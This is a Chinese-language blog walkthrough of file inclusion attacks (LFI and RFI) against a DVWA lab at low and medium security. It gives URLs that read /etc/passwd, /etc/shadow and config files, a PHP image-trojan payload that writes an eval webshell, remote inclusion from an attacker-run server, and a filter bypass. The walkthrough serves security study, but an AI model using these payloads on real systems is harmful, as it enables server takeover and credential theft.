文件包含漏洞

文件包含渗透

1.项目实验环境

2.原理及危害

文件包含漏洞: 即File Inclusion ,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数( include() , require()和include_once() ,require__once() )利用ur1去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行

文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞

远程文件包含漏洞是因为开启了php配置中的 allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件 )。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

1.文件包含( File Inclusion )即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
2.被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
3.文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数

文件包含分为两类:
本地文件包含LFI ( Local File Inclusion )当被包含的文件在服务器本地时 ,就形成本地文件包含
远程文件包含RFI ( Remote File Inclusion )当被包含的文件在第三方服务器时,叫做远程文件包含

3.低安全级别渗透

设置低安全级别



3.1 本地文件包含

访问本地系统账号信息及其它敏感信息
http://192.168.1.132/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.1.132/dvwa/vulnerabilities/fi/?page-/etc/shadow
http://192.168.1.132/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.1.132/dvwa/vulnerabilities/fi/?page=/etc/mysq1/my.cnf
http://192.168.1.132/dvwa/vulnerabilities/fi/?page/etc/apache2/apache2.conf

3.2 本地文件包含 + Webshell

1.制作一句话图片木马e.g. abc. jpg
<?fputs(fopen("shellabc.php","w"),'<?php eval($_POST[root]);?>')?>

2..上传图片木马文件
3.执行文件包含并生成后门
4.通过菜刀连接Webshell

提示:
/var/www/dvwa/hackable/uploads //dvwa文件上传访问的目录abc . jpg
/var/www/dvwa/vulnerabilities/fi //dvwa文件包含访问的目录shel120. php



可以看到abc.jpeg里面被写入了代码

粘贴到文件包含的位置?page=../../hackable/uploads/abc.jpeg

回车。显示下面的乱码表示成功

可以看到在/var/www/dvwa/vulnerabilities/fi目录下有了shellabc.php这个文件

复制http://192.168.1.132/dvwa/vulnerabilities/fi/ 再加上shellabc.php 就可以去连接菜刀了

成功连接

3.3 远程文件包含 + Webshell

查看要做远程服务器的ip

开启apache2

service apache2 start

查看是否启动

service apache2 status

写一个网页,网页内容就是上面的木马

vim /var/www/html/abc.txt

内容:

apache2能正常访问

下面的abc.txt同样能访问

复制该地址http://192.168.1.131/abc.txt

没有反应正常!

fi目录下已经有了shellabc.php这个文件

同样通过中国菜刀连接

连接成功

相比与本地文件包含来说远程文件包含更容易点。

4.中安全级别渗透

调节安全等级为中

中安全级别把http:// https:// 换成了空,也就是限制了远程文件包含

4.1 本地文件包含

同低级别一样,仍然能执行低级别的漏洞利用

http://192.168.1.132/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.1.132/dvwa/vulnerabilities/fi/?page-/etc/shadow
http://192.168.1.132/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.1.132/dvwa/vulnerabilities/fi/?page=/etc/mysq1/my.cnf
http://192.168.1.132/dvwa/vulnerabilities/fi/?page/etc/apache2/apache2.conf

4.2 本地文件包含 + Webshell

同低等级一样,也是用图片木马制作

1.制作一句话图片木马e.g. abc. jpg
<?fputs(fopen("shellabc.php","w"),'<?php eval($_POST[root]);?>')?>

2..上传图片木马文件
3.执行文件包含并生成后门
4.通过菜刀连接Webshell

4.3 远程文件包含 + Webshell

同低等级一样的步骤进行到最后一步

执行同样没有反馈

但是并没有生成对应文件shellabc.php

原因也就是中安全级别的缘故,替换了http,https

由于是替换http:// 与https:// 成空字符,那么就可以在中间写一个http:// 或 https:// 用来挡箭牌

hthttp://tp://192.168.1.131/abc.txt

对应的目录下面也有了相应的文件,远程文件包含成功,一样可以通过菜刀连接

5.高安全级别渗透

调节安全等级为高!

源码进行了限制,除了include.php这个文件,其他传上的参数都显示ERROR

posted @ 2023-04-03 23:18  0x1e61  阅读(162)  评论(0)    收藏  举报